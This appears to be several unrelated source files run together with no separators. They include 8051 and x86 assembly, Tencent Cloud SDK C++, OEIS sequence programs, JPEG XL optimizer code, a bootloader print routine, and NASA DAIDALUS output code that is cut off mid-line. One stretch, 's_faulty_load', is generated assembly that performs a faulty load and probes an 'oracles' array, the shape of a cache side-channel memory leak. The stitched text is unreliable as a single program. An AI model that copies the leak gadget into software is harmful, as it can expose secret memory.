XSEG AT 0 result: DS 2 CSEG AT 0 jmp START input: DB 0x83,0xE7 START: mov P0, #0 //unsigned short handl = P1; // unsigned char val2 = P2; // unsigned short result = 0; // int i = 0; // for (i = 0; i< 8; i++){ // if (0x01&val2){ // result += handl; // } // handl<<=1; // val2>>=1; // } // P3 = *((char*)&result); // P0 = *((char*)&result+1); clr a //---------MUL------------ // r0 - lowHandl || P1 // r1 - highHandl // r2 - val2 || P2 // r3 - lowRes // r4 - highRes // r5 - i mov r0, P1 mov r1, #0 mov r2, P2 mov r3, #0 mov r4, #0 mov r5, #8 MUL_LOOP: // check for loop end mov a, r5 jz MUL_LOOP_END // if (0x01&val2) mov a, r2 anl a, #0x01 jz MUL_ROL_DATA // result += handl; mov a, r3 mov b, r0 add a, b mov r3, a mov a, r4 mov b, r1 addc a, b mov r4, a MUL_ROL_DATA: // val2>>=1; mov a, r2 rr a mov r2, a // handl<<=1; mov a, r0 rlc a mov r0, a mov a, r1 rl a mov b, #0 addc a, b mov r1, a // i++ dec r5 jmp MUL_LOOP MUL_LOOP_END: // P3 = *((char*)&result); // P0 = *((char*)&result+1); mov P3, r3 //mov P0, r4 mov P0, #0xAA //void div(){ // unsigned int A; // long S; // char i; // // S=P1; // A=P3<<8 ; // // for (i=0 ; i<8; i++ ) // P2=S= (((S<<1)-A)>=0) ? // (S<<1)-A +1 // : S<<1 ; //} clr a // r0 - lowS || P1 // r1 - highS // r2 - lowA || P3 // r3 - highA // r5 - i mov r0, P1 mov r1, #0 // A=P3<<8 mov r2, #0 mov r3, P3 // i = 8 mov r5, #8 DIV_LOOP: mov a, r5 jz DIV_LOOP_END // S = S<<1; // if (S-A >= 0){ // P2=S=S-A+1; // } // roll S to <<1 mov a, r0 rlc a mov r0, a mov a, r1 rl a addc a, #0 mov r1, a // if (S-A >= 0){ add a, #0 mov b, r3 subb a, b jc DIV_SKIP_MATH inc a mov r1, a DIV_SKIP_MATH: dec r5 jmp DIV_LOOP DIV_LOOP_END: mov P2, r1 //mov P0, r0 mov P0, #0 jmp START END
/* * Copyright (c) 2017-2019 THL A29 Limited, a Tencent company. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #include <tencentcloud/cdb/v20170320/model/AuditRule.h> using TencentCloud::CoreInternalOutcome; using namespace TencentCloud::Cdb::V20170320::Model; using namespace std; AuditRule::AuditRule() : m_ruleIdHasBeenSet(false), m_createTimeHasBeenSet(false), m_modifyTimeHasBeenSet(false), m_ruleNameHasBeenSet(false), m_descriptionHasBeenSet(false), m_ruleFiltersHasBeenSet(false), m_auditAllHasBeenSet(false) { } CoreInternalOutcome AuditRule::Deserialize(const rapidjson::Value &value) { string requestId = ""; if (value.HasMember("RuleId") && !value["RuleId"].IsNull()) { if (!value["RuleId"].IsString()) { return CoreInternalOutcome(Error("response `AuditRule.RuleId` IsString=false incorrectly").SetRequestId(requestId)); } m_ruleId = string(value["RuleId"].GetString()); m_ruleIdHasBeenSet = true; } if (value.HasMember("CreateTime") && !value["CreateTime"].IsNull()) { if (!value["CreateTime"].IsString()) { return CoreInternalOutcome(Error("response `AuditRule.CreateTime` IsString=false incorrectly").SetRequestId(requestId)); } m_createTime = string(value["CreateTime"].GetString()); m_createTimeHasBeenSet = true; } if (value.HasMember("ModifyTime") && !value["ModifyTime"].IsNull()) { if (!value["ModifyTime"].IsString()) { return CoreInternalOutcome(Error("response `AuditRule.ModifyTime` IsString=false incorrectly").SetRequestId(requestId)); } m_modifyTime = string(value["ModifyTime"].GetString()); m_modifyTimeHasBeenSet = true; } if (value.HasMember("RuleName") && !value["RuleName"].IsNull()) { if (!value["RuleName"].IsString()) { return CoreInternalOutcome(Error("response `AuditRule.RuleName` IsString=false incorrectly").SetRequestId(requestId)); } m_ruleName = string(value["RuleName"].GetString()); m_ruleNameHasBeenSet = true; } if (value.HasMember("Description") && !value["Description"].IsNull()) { if (!value["Description"].IsString()) { return CoreInternalOutcome(Error("response `AuditRule.Description` IsString=false incorrectly").SetRequestId(requestId)); } m_description = string(value["Description"].GetString()); m_descriptionHasBeenSet = true; } if (value.HasMember("RuleFilters") && !value["RuleFilters"].IsNull()) { if (!value["RuleFilters"].IsArray()) return CoreInternalOutcome(Error("response `AuditRule.RuleFilters` is not array type")); const rapidjson::Value &tmpValue = value["RuleFilters"]; for (rapidjson::Value::ConstValueIterator itr = tmpValue.Begin(); itr != tmpValue.End(); ++itr) { AuditFilter item; CoreInternalOutcome outcome = item.Deserialize(*itr); if (!outcome.IsSuccess()) { outcome.GetError().SetRequestId(requestId); return outcome; } m_ruleFilters.push_back(item); } m_ruleFiltersHasBeenSet = true; } if (value.HasMember("AuditAll") && !value["AuditAll"].IsNull()) { if (!value["AuditAll"].IsBool()) { return CoreInternalOutcome(Error("response `AuditRule.AuditAll` IsBool=false incorrectly").SetRequestId(requestId)); } m_auditAll = value["AuditAll"].GetBool(); m_auditAllHasBeenSet = true; } return CoreInternalOutcome(true); } void AuditRule::ToJsonObject(rapidjson::Value &value, rapidjson::Document::AllocatorType& allocator) const { if (m_ruleIdHasBeenSet) { rapidjson::Value iKey(rapidjson::kStringType); string key = "RuleId"; iKey.SetString(key.c_str(), allocator); value.AddMember(iKey, rapidjson::Value(m_ruleId.c_str(), allocator).Move(), allocator); } if (m_createTimeHasBeenSet) { rapidjson::Value iKey(rapidjson::kStringType); string key = "CreateTime"; iKey.SetString(key.c_str(), allocator); value.AddMember(iKey, rapidjson::Value(m_createTime.c_str(), allocator).Move(), allocator); } if (m_modifyTimeHasBeenSet) { rapidjson::Value iKey(rapidjson::kStringType); string key = "ModifyTime"; iKey.SetString(key.c_str(), allocator); value.AddMember(iKey, rapidjson::Value(m_modifyTime.c_str(), allocator).Move(), allocator); } if (m_ruleNameHasBeenSet) { rapidjson::Value iKey(rapidjson::kStringType); string key = "RuleName"; iKey.SetString(key.c_str(), allocator); value.AddMember(iKey, rapidjson::Value(m_ruleName.c_str(), allocator).Move(), allocator); } if (m_descriptionHasBeenSet) { rapidjson::Value iKey(rapidjson::kStringType); string key = "Description"; iKey.SetString(key.c_str(), allocator); value.AddMember(iKey, rapidjson::Value(m_description.c_str(), allocator).Move(), allocator); } if (m_ruleFiltersHasBeenSet) { rapidjson::Value iKey(rapidjson::kStringType); string key = "RuleFilters"; iKey.SetString(key.c_str(), allocator); value.AddMember(iKey, rapidjson::Value(rapidjson::kArrayType).Move(), allocator); int i=0; for (auto itr = m_ruleFilters.begin(); itr != m_ruleFilters.end(); ++itr, ++i) { value[key.c_str()].PushBack(rapidjson::Value(rapidjson::kObjectType).Move(), allocator); (*itr).ToJsonObject(value[key.c_str()][i], allocator); } } if (m_auditAllHasBeenSet) { rapidjson::Value iKey(rapidjson::kStringType); string key = "AuditAll"; iKey.SetString(key.c_str(), allocator); value.AddMember(iKey, m_auditAll, allocator); } } string AuditRule::GetRuleId() const { return m_ruleId; } void AuditRule::SetRuleId(const string& _ruleId) { m_ruleId = _ruleId; m_ruleIdHasBeenSet = true; } bool AuditRule::RuleIdHasBeenSet() const { return m_ruleIdHasBeenSet; } string AuditRule::GetCreateTime() const { return m_createTime; } void AuditRule::SetCreateTime(const string& _createTime) { m_createTime = _createTime; m_createTimeHasBeenSet = true; } bool AuditRule::CreateTimeHasBeenSet() const { return m_createTimeHasBeenSet; } string AuditRule::GetModifyTime() const { return m_modifyTime; } void AuditRule::SetModifyTime(const string& _modifyTime) { m_modifyTime = _modifyTime; m_modifyTimeHasBeenSet = true; } bool AuditRule::ModifyTimeHasBeenSet() const { return m_modifyTimeHasBeenSet; } string AuditRule::GetRuleName() const { return m_ruleName; } void AuditRule::SetRuleName(const string& _ruleName) { m_ruleName = _ruleName; m_ruleNameHasBeenSet = true; } bool AuditRule::RuleNameHasBeenSet() const { return m_ruleNameHasBeenSet; } string AuditRule::GetDescription() const { return m_description; } void AuditRule::SetDescription(const string& _description) { m_description = _description; m_descriptionHasBeenSet = true; } bool AuditRule::DescriptionHasBeenSet() const { return m_descriptionHasBeenSet; } vector<AuditFilter> AuditRule::GetRuleFilters() const { return m_ruleFilters; } void AuditRule::SetRuleFilters(const vector<AuditFilter>& _ruleFilters) { m_ruleFilters = _ruleFilters; m_ruleFiltersHasBeenSet = true; } bool AuditRule::RuleFiltersHasBeenSet() const { return m_ruleFiltersHasBeenSet; } bool AuditRule::GetAuditAll() const { return m_auditAll; } void AuditRule::SetAuditAll(const bool& _auditAll) { m_auditAll = _auditAll; m_auditAllHasBeenSet = true; } bool AuditRule::AuditAllHasBeenSet() const { return m_auditAllHasBeenSet; }
// This file auto generated by plugin for ida pro. Generated code only for x64. Please, dont change manually #pragma once #include <common/common.h> START_ATF_NAMESPACE typedef unsigned int (WINAPIV *PFNRECONCILEPROFILEW)(const wchar_t *, const wchar_t *, unsigned int); END_ATF_NAMESPACE
; A292277: a(n) = 2^n*F(n)*F(n+1), where F = A000045. ; 0,2,8,48,240,1280,6656,34944,182784,957440,5012480,26247168,137428992,719593472,3767828480,19728629760,103300399104,540888006656,2832126181376,14829205585920,77646727741440,406563546202112,2128794362052608,11146511995895808,58363894510387200,305597319112294400,1600128336565108736,8378380743075692544,43869771111925284864,229705103699785809920,1202751537749939978240,6297688811702644113408,32975126719211809800192,172660005068468872282112,904059523533948814622720,4733717120929851758346240 lpb $0 mov $2,$0 sub $0,1 seq $2,59929 ; a(n) = Fibonacci(n)*Fibonacci(n+2). add $1,$2 mul $1,2 lpe div $1,2 mov $0,$1
/** * Copyright 2017 BitTorrent Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #include <okui/Color.h> namespace okui { const Color Color::kWhite = 0xFFFFFF_rgb; const Color Color::kSilver = 0xC0C0C0_rgb; const Color Color::kGray = 0x808080_rgb; const Color Color::kBlack = 0x000000_rgb; const Color Color::kTransparentBlack = 0x00000000_rgba; const Color Color::kRed = 0xFF0000_rgb; const Color Color::kMaroon = 0x800000_rgb; const Color Color::kYellow = 0xFFFF00_rgb; const Color Color::kOlive = 0x808000_rgb; const Color Color::kLime = 0x00FF00_rgb; const Color Color::kGreen = 0x008000_rgb; const Color Color::kAqua = 0x00FFFF_rgb; const Color Color::kTeal = 0x008080_rgb; const Color Color::kBlue = 0x0000FF_rgb; const Color Color::kNavy = 0x000080_rgb; const Color Color::kFuchsia = 0xFF00FF_rgb; const Color Color::kPurple = 0x800080_rgb; } // namespace okui
// Copyright (c) the JPEG XL Project Authors. All rights reserved. // // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. #include "lib/jxl/optimize.h" #include <algorithm> #include "lib/jxl/base/status.h" namespace jxl { namespace optimize { namespace { // simplex vector must be sorted by first element of its elements std::vector<double> Midpoint(const std::vector<std::vector<double>>& simplex) { JXL_CHECK(!simplex.empty()); JXL_CHECK(simplex.size() == simplex[0].size()); int dim = simplex.size() - 1; std::vector<double> result(dim + 1, 0); for (int i = 0; i < dim; i++) { for (int k = 0; k < dim; k++) { result[i + 1] += simplex[k][i + 1]; } result[i + 1] /= dim; } return result; } // first element ignored std::vector<double> Subtract(const std::vector<double>& a, const std::vector<double>& b) { JXL_CHECK(a.size() == b.size()); std::vector<double> result(a.size()); result[0] = 0; for (size_t i = 1; i < result.size(); i++) { result[i] = a[i] - b[i]; } return result; } // first element ignored std::vector<double> Add(const std::vector<double>& a, const std::vector<double>& b) { JXL_CHECK(a.size() == b.size()); std::vector<double> result(a.size()); result[0] = 0; for (size_t i = 1; i < result.size(); i++) { result[i] = a[i] + b[i]; } return result; } // first element ignored std::vector<double> Average(const std::vector<double>& a, const std::vector<double>& b) { JXL_CHECK(a.size() == b.size()); std::vector<double> result(a.size()); result[0] = 0; for (size_t i = 1; i < result.size(); i++) { result[i] = 0.5 * (a[i] + b[i]); } return result; } // vec: [0] will contain the objective function, [1:] will // contain the vector position for the objective function. // fun: the function evaluates the value. void Eval(std::vector<double>* vec, const std::function<double(const std::vector<double>&)>& fun) { std::vector<double> args(vec->begin() + 1, vec->end()); (*vec)[0] = fun(args); } void Sort(std::vector<std::vector<double>>* simplex) { std::sort(simplex->begin(), simplex->end()); } // Main iteration step of Nelder-Mead like optimization. void Reflect(std::vector<std::vector<double>>* simplex, const std::function<double(const std::vector<double>&)>& fun) { Sort(simplex); const std::vector<double>& last = simplex->back(); std::vector<double> mid = Midpoint(*simplex); std::vector<double> diff = Subtract(mid, last); std::vector<double> mirrored = Add(mid, diff); Eval(&mirrored, fun); if (mirrored[0] > (*simplex)[simplex->size() - 2][0]) { // Still the worst, shrink towards the best. std::vector<double> shrinking = Average(simplex->back(), (*simplex)[0]); Eval(&shrinking, fun); simplex->back() = shrinking; } else if (mirrored[0] < (*simplex)[0][0]) { // new best std::vector<double> even_further = Add(mirrored, diff); Eval(&even_further, fun); if (even_further[0] < mirrored[0]) { mirrored = even_further; } simplex->back() = mirrored; } else { // not a best, not a worst point simplex->back() = mirrored; } } // Initialize the simplex at origin. std::vector<std::vector<double>> InitialSimplex( int dim, double amount, const std::vector<double>& init, const std::function<double(const std::vector<double>&)>& fun) { std::vector<double> best(1 + dim, 0); std::copy(init.begin(), init.end(), best.begin() + 1); Eval(&best, fun); std::vector<std::vector<double>> result{best}; for (int i = 0; i < dim; i++) { best = result[0]; best[i + 1] += amount; Eval(&best, fun); result.push_back(best); Sort(&result); } return result; } // For comparing the same with the python tool /*void RunSimplexExternal( int dim, double amount, int max_iterations, const std::function<double((const vector<double>&))>& fun) { vector<double> vars; for (int i = 0; i < dim; i++) { vars.push_back(atof(getenv(StrCat("VAR", i).c_str()))); } double result = fun(vars); std::cout << "Result=" << result; }*/ } // namespace std::vector<double> RunSimplex( int dim, double amount, int max_iterations, const std::vector<double>& init, const std::function<double(const std::vector<double>&)>& fun) { std::vector<std::vector<double>> simplex = InitialSimplex(dim, amount, init, fun); for (int i = 0; i < max_iterations; i++) { Sort(&simplex); Reflect(&simplex, fun); } return simplex[0]; } std::vector<double> RunSimplex( int dim, double amount, int max_iterations, const std::function<double(const std::vector<double>&)>& fun) { std::vector<double> init(dim, 0.0); return RunSimplex(dim, amount, max_iterations, init, fun); } } // namespace optimize } // namespace jxl
.global s_prepare_buffers s_prepare_buffers: ret .global s_faulty_load s_faulty_load: push %r10 push %r11 push %r13 push %r14 push %rax push %rdx push %rsi // Load mov $0x404532000000097c, %r14 nop nop dec %r13 vmovups (%r14), %ymm3 vextracti128 $0, %ymm3, %xmm3 vpextrq $1, %xmm3, %rax nop nop and $7507, %r14 // Load mov $0x58b, %r13 nop nop dec %r10 vmovups (%r13), %ymm0 vextracti128 $0, %ymm0, %xmm0 vpextrq $0, %xmm0, %rsi nop nop nop nop cmp $25471, %rdx // Faulty Load lea addresses_US+0x103dc, %rsi add %r13, %r13 mov (%rsi), %ax lea oracles, %r11 and $0xff, %rax shlq $12, %rax mov (%r11,%rax,1), %rax pop %rsi pop %rdx pop %rax pop %r14 pop %r13 pop %r11 pop %r10 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': False, 'NT': True, 'AVXalign': False, 'size': 8, 'type': 'addresses_US', 'congruent': 0}} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_NC', 'congruent': 5}} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_P', 'congruent': 0}} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_US', 'congruent': 0}} <gen_prepare_buffer> {'00': 6} 00 00 00 00 00 00 */
; A242853: 256*n^8 - 448*n^6 + 240*n^4 - 40*n^2 + 1. ; 1,9,40545,1372105,15003009,93149001,409389409,1423656585,4178507265,10783446409,25154396001,54085723209,108742564225,206671502025,374437978209,651009141001,1092011153409,1775000307465,2805897612385,4326746846409,6524966384001,9644275432009,13997485630305,19981359294345,28093745899009,38953218725001,53321443911009,72128524476745,96501572203905,127796770584009,167635202364001,217942725542409,280994191990785,359462313197065,456471487949409,575656917101001,721229340878209,898045744516425,1111686388329825,1368538528643209,1675887206336001,2042013490070409,2476300571597665,2989348120858185,3593095318913409,4300952997069001,5127945320871009,6090861467978505,7208417759238145,8501430712608009 mul $0,2 pow $0,2 sub $0,4 mov $1,$0 add $1,1 mov $2,$1 add $1,2 pow $1,2 sub $1,1 pow $2,2 add $2,$0 mul $1,$2 div $1,8 mul $1,8 add $1,1
; A016255: Expansion of 1/((1-x)(1-7x)(1-12x)). ; 1,20,297,3964,50369,624036,7625689,92469068,1116354417,13443332212,161649541001,1942101373212,23321364646945,279969412942148,3360424215557433,40330629408450796,484006324653740753 lpb $0 mov $2,$0 sub $0,1 seq $2,16184 ; Expansion of 1/((1-7x)(1-12x)). add $1,$2 lpe add $1,1 mov $0,$1
;======================================================================= ; Copyright Baptiste Wicht 2013-2016. ; Distributed under the terms of the MIT License. ; (See accompanying file LICENSE or copy at ; http://www.opensource.org/licenses/MIT_1_0.txt) ;======================================================================= [BITS 16] ; Functions new_line_16: mov ah, 0Eh mov al, 0Ah int 10h mov al, 0Dh int 10h ret print_line_16: mov ah, 0Eh .repeat: lodsb test al, al je .done int 10h jmp .repeat .done: call new_line_16 ret print_16: mov ah, 0Eh .repeat: lodsb test al, al je .done int 10h jmp .repeat .done: ret print_int_16: push ax push bx push dx push si mov ax, di xor si, si .loop: xor dx, dx mov bx, 10 div bx add dx, 48 push dx inc si test ax, ax jne .loop .next: test si, si je .exit dec si ; write the char pop ax mov ah, 0Eh int 10h jmp .next .exit: pop si pop dx pop bx pop ax ret key_wait: mov al, 0xD2 out 64h, al mov al, 0x80 out 60h, al .keyup: in al, 0x60 and al, 10000000b jnz .keyup .keydown: in al, 0x60 ret
/** Notices: Copyright 2016 United States Government as represented by the Administrator of the National Aeronautics and Space Administration. No copyright is claimed in the United States under Title 17, U.S. Code. All Other Rights Reserved. Disclaimers No Warranty: THE SUBJECT SOFTWARE IS PROVIDED "AS IS" WITHOUT ANY WARRANTY OF ANY KIND, EITHER EXPRESSED, IMPLIED, OR STATUTORY, INCLUDING, BUT NOT LIMITED TO, ANY WARRANTY THAT THE SUBJECT SOFTWARE WILL CONFORM TO SPECIFICATIONS, ANY IMPLIED WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, OR FREEDOM FROM INFRINGEMENT, ANY WARRANTY THAT THE SUBJECT SOFTWARE WILL BE ERROR FREE, OR ANY WARRANTY THAT DOCUMENTATION, IF PROVIDED, WILL CONFORM TO THE SUBJECT SOFTWARE. THIS AGREEMENT DOES NOT, IN ANY MANNER, CONSTITUTE AN ENDORSEMENT BY GOVERNMENT AGENCY OR ANY PRIOR RECIPIENT OF ANY RESULTS, RESULTING DESIGNS, HARDWARE, SOFTWARE PRODUCTS OR ANY OTHER APPLICATIONS RESULTING FROM USE OF THE SUBJECT SOFTWARE. FURTHER, GOVERNMENT AGENCY DISCLAIMS ALL WARRANTIES AND LIABILITIES REGARDING THIRD-PARTY SOFTWARE, IF PRESENT IN THE ORIGINAL SOFTWARE, AND DISTRIBUTES IT "AS IS." Waiver and Indemnity: RECIPIENT AGREES TO WAIVE ANY AND ALL CLAIMS AGAINST THE UNITED STATES GOVERNMENT, ITS CONTRACTORS AND SUBCONTRACTORS, AS WELL AS ANY PRIOR RECIPIENT. IF RECIPIENT'S USE OF THE SUBJECT SOFTWARE RESULTS IN ANY LIABILITIES, DEMANDS, DAMAGES, EXPENSES OR LOSSES ARISING FROM SUCH USE, INCLUDING ANY DAMAGES FROM PRODUCTS BASED ON, OR RESULTING FROM, RECIPIENT'S USE OF THE SUBJECT SOFTWARE, RECIPIENT SHALL INDEMNIFY AND HOLD HARMLESS THE UNITED STATES GOVERNMENT, ITS CONTRACTORS AND SUBCONTRACTORS, AS WELL AS ANY PRIOR RECIPIENT, TO THE EXTENT PERMITTED BY LAW. RECIPIENT'S SOLE REMEDY FOR ANY SUCH MATTER SHALL BE THE IMMEDIATE, UNILATERAL TERMINATION OF THIS AGREEMENT. **/ #include "DAAMonitorsV2.h" #include "DaidalusFileWalker.h" #include "WCV_tvar.h" #include "Units.h" #include <regex> using namespace larcfm; class DAABandsV2 { protected: static const int precision16 = 16; static const std::string tool_name; static const double latOffset; static const double lonOffset; static const double latlonThreshold; // the following flag and offset are introduced to avoid a region // in the atlantic ocean where worldwind is unable to render maps at certain zoom levels // (all rendering layers disappear in that region when the zoom level is below ~2.5NMI) bool llaFlag; std::string daaConfig; std::string scenario; std::string ofname; // output file name std::string ifname; // input file name int precision; /* Units are loaded from configuration file */ std::string hs_units; std::string vs_units; std::string alt_units; std::string hdir_units; std::string hrec_units; std::string vrec_units; std::string time_units; std::string wind; std::ofstream* printWriter; public: Daidalus daa; DAABandsV2 () { llaFlag = false; daaConfig = ""; scenario = ""; ofname = ""; ifname = ""; precision = 2; hs_units = "m/s"; vs_units = "m/s"; alt_units = "m"; hdir_units = "deg"; hrec_units = "m"; vrec_units = "m"; time_units = "s"; wind = ""; printWriter = NULL; } std::string getScenario() const { return scenario; } std::string getConfigFileName() const { return daaConfig; } std::string getConfig () const { if (!daaConfig.empty()) { int slash = daaConfig.find_last_of("/"); if (slash >= 0) { return daaConfig.substr(slash + 1); } } return daaConfig; } std::string getOutputFileName() const { return ofname; } std::string getInputFileName() const { return ifname; } static std::string jsonInt(const std::string& label, int val) { std::string json = ""; json += "\""+label+"\": "+Fmi(val); return json; } static std::string jsonString(const std::string& label, const std::string& str) { std::string json = ""; json += "\""+label+"\": \""+str+"\""; return json; } void printHelpMsg() const { std::cout << "Version: DAIDALUS " << getVersion() << std::endl; std::cout << "Generates a file that can be rendered in daa-displays" << std::endl; std::cout << "Usage:" << std::endl; std::cout << " " << tool_name << " [options] file" << std::endl; std::cout << "Options:" << std::endl; std::cout << " --help\n\tPrint this message" << std::endl; std::cout << " --version\n\tPrint DAIDALUS version" << std::endl; std::cout << " --precision <n>\n\tPrecision of output values" << std::endl; std::cout << " --config <file.conf>\n\tLoad configuration <file.conf>" << std::endl; std::cout << " --wind <wind_info>\n\tLoad wind vector information, a JSON object enclosed in double quotes \"{ deg: d, knot: m }\", where d and m are eals" << std::endl; std::cout << " --output <file.json>\n\tOutput file <file.json>" << std::endl; std::cout << " --list-monitors\nReturns the list of available monitors, in JSON format" << std::endl; exit(0); } std::string printMonitorList() const { int n = DAAMonitorsV2::getSize(); std::string res = ""; for (int i = 0; i < n; i++) { res += "\"" + DAAMonitorsV2::getLabel(i + 1) + "\""; if (i < n - 1) { res += ", "; } } return "[ " + res + " ]"; } std::string region2str (const BandsRegion::Region& r) const { switch (r) { case BandsRegion::NONE: return "0"; case BandsRegion::FAR: return "1"; case BandsRegion::MID: return "2"; case BandsRegion::NEAR: return "3"; case BandsRegion::RECOVERY: return "4"; default: return "-1"; } } void printArray (std::ofstream& out, const std::vector<std::string>& info, const std::string& label) const { out << "\"" << label << "\": [" << std::endl; bool comma = false; std::vector<std::string>::const_iterator str_ptr; for (str_ptr=info.begin(); str_ptr != info.end(); ++str_ptr) { if (comma) { out << "," << std::endl; } else { comma = true; } out << (*str_ptr); } out << "\n]" << std::endl; } void printMonitors (std::ofstream& out, const DAAMonitorsV2& monitors, const std::vector< std::vector<std::string> >& info) const { out << " [" << std::endl; int len = DAAMonitorsV2::getSize(); for (int i = 0; i < len; i++) { int monitorID = i + 1; std::string legend = DAAMonitorsV2::getLegend(monitorID); std::string color = monitors.getColor(monitorID); std::string label = DAAMonitorsV2::getLabel(monitorID); out << "{ \"id\": \"" << monitorID << "\",\n"; out << "\"name\": \"" << label << "\",\n"; out << "\"color\": \"" << color << "\",\n"; out << "\"legend\": " << legend << ",\n"; printArray(out, info[i], "results"); if (i < len - 1) { out << "}, " << std::endl; } else { out << "} " << std::endl; } } out << "]" << std::endl; } bool loadDaaConfig () { if (!daaConfig.empty()) { bool paramLoaded = daa.loadFromFile(daaConfig); if (paramLoaded) { std::cout << "** Configuration file " << daaConfig << " loaded successfully!" << std::endl; hs_units = daa.getUnitsOf("step_hs"); vs_units = daa.getUnitsOf("step_vs"); alt_units = daa.getUnitsOf("step_alt"); hrec_units = daa.getUnitsOf("min_horizontal_recovery"); vrec_units = daa.getUnitsOf("min_vertical_recovery"); return true; } else { std::cerr << "** Error: Configuration file " << daaConfig << " could not be loaded. Using default DAIDALUS configuration." << std::endl; } } else { std::cerr << "** Warning: Configuration file not specified. Using default DAIDALUS configuration." << std::endl; } return false; } bool loadWind () { if (!wind.empty()) { double deg = 0; double knot = 0; double fpm = 0; const std::regex re_deg(".*\\bdeg\\s*:\\s*(.*)"); std::smatch match_deg; std::regex_match(wind, match_deg, re_deg); if (match_deg.size() == 2) { deg = std::stod(match_deg[1].str()); } const std::regex re_knot(".*\\bknot\\s*:\\s*(.*)"); std::smatch match_knot; std::regex_match(wind, match_knot, re_knot); if (match_knot.size() == 2) { knot = std::stod(match_knot[1].str()); } Velocity windVelocity = Velocity::makeTrkGsVs(deg, "deg", knot, "knot", fpm, "fpm"); daa.setWindVelocityFrom(windVelocity); return true; } return false; } std::string jsonHeader () const { std::string json = ""; json += "\"Info\": { \"language\": \"C++\", \"version\": \"" + getVersion() + "\""; json += ", \"configuration\": \"" + getConfig()+ "\" },\n"; json += "\"Scenario\": \"" + scenario + "\",\n"; Velocity wind = daa.getWindVelocityFrom(); json += "\"Wind\": { \"deg\": \"" + fmt(wind.compassAngle("deg")) + "\""; json += ", \"knot\": \"" + fmt(wind.groundSpeed("knot"))+"\""; //json += ", \"enabled\": \"" + wind.isZero() + "\""; json += " },"; return json; } bool isBelowLLAThreshold(const TrafficState& ownship, const TrafficState& intruder) const { // current intruder position Vect3 si = intruder.get_s(); // projected position of the intruder Position po = ownship.getPosition(); // ownship position in lat lon EuclideanProjection eprj = Projection::createProjection(po); LatLonAlt lla = eprj.inverse(si); Position px = Position::mkLatLonAlt(lla.lat(), lla.lon(), lla.alt()); return std::abs(Units::to("deg", px.lat())) < latlonThreshold && std::abs(Units::to("deg", px.lon())) < latlonThreshold; } void adjustThreshold () { std::string input = ifname; Daidalus daidalus = daa; DaidalusFileWalker walker(input); while (!walker.atEnd()) { walker.readState(daidalus); TrafficState ownship = daidalus.getOwnshipState(); if (isBelowLLAThreshold(ownship, ownship)) { llaFlag = true; //System.out.println("LLA flag is TRUE"); return; } for (int idx = 0; idx <= daidalus.lastTrafficIndex(); idx++) { TrafficState traffic = daidalus.getAircraftStateAt(idx); if (isBelowLLAThreshold(ownship, traffic)) { llaFlag = true; //System.out.println("LLA flag is TRUE"); return; } } } //System.out.println("LLA flag is FALSE"); llaFlag = false; } /** * Utility function, returns LLA coordinates of a point in space * @param pi Position of the intruder * @param po Position of the ownship */ LatLonAlt getLatLonAlt (const Position& pi, const Position& po) const { if (pi.isLatLon()) { return pi.lla(); } EuclideanProjection eprj = Projection::createProjection(po); return eprj.inverse(pi.vect3()); } std::string printPolygon (const std::vector<Position>& ply, const Position& po) const { std::string polygon = ""; bool comma = false; std::vector<Position>::const_iterator pi_ptr; for (pi_ptr = ply.begin(); pi_ptr != ply.end(); ++pi_ptr) { Position pi = *pi_ptr; LatLonAlt lla = getLatLonAlt(pi, po); std::string lat = llaFlag ? FmPrecision(Units::to("deg", lla.lat()) + latOffset, precision16) : FmPrecision(Units::to("deg", lla.lat()), precision16); std::string lon = llaFlag ? FmPrecision(Units::to("deg", lla.lon()) + lonOffset, precision16) : FmPrecision(Units::to("deg", lla.lon()), precision16); if (comma) { polygon += ",\n"; } else { comma = true; } polygon += "\t\t{ \"lat\": \"" + lat; polygon += "\", \"lon\": \"" + lon; polygon += "\", \"alt\": \"" + fmt(Units::to("ft", lla.alt())); polygon += "\" }"; } polygon = "\t[\n" + polygon + "\n\t]"; return polygon; } std::string printPolygons (const std::vector< std::vector<Position> >& polygons, const Position& po) const { std::string res = ""; bool comma = false; std::vector< std::vector<Position> >::const_iterator ply_ptr; for (ply_ptr = polygons.begin(); ply_ptr != polygons.end(); ++ ply_ptr) { if (comma) { res += ",\n"; } else { comma = true; } res += printPolygon(*ply_ptr, po); } return "[ \n" + res + "]"; } std::string fmt(double val) const { return FmPrecision(val,precision); } static std::string getCompatibleInternalUnit(const std::string& unit) { std::string internalunits[] = {"m", "s", "rad", "m/s", "m/s^2", "rad/s"}; for (int i=0; i < 6; ++i) { if (Units::isCompatible(unit,internalunits[i])) { return internalunits[i]; } } return ""; } std::string jsonValUnits(const std::string& label, double val, const std::string& units) const { std::string json = ""; json += "\""+label+"\": { "; json += "\"val\": \"" + fmt(Units::to(units,val)) + "\""; json += ", \"units\": \"" + units + "\""; if (Units::getFactor(units) != 1.0) { json += ", \"internal\": \"" + fmt(val) + "\""; std::string internalunit = getCompatibleInternalUnit(units); if (!internalunit.empty()) { json += ", \"internal_units\": \"" + internalunit + "\""; } } json += " }"; return json; } std::string jsonValueRegion(const std::string& label, double val, const std::string& units, BandsRegion::Region region) const { std::string json = "\""+label+"\": {"; json += jsonValUnits("valunit",val,units); json += ", "+jsonString("region",BandsRegion::to_string(region)); json += " }"; return json; } std::string jsonVect3(const 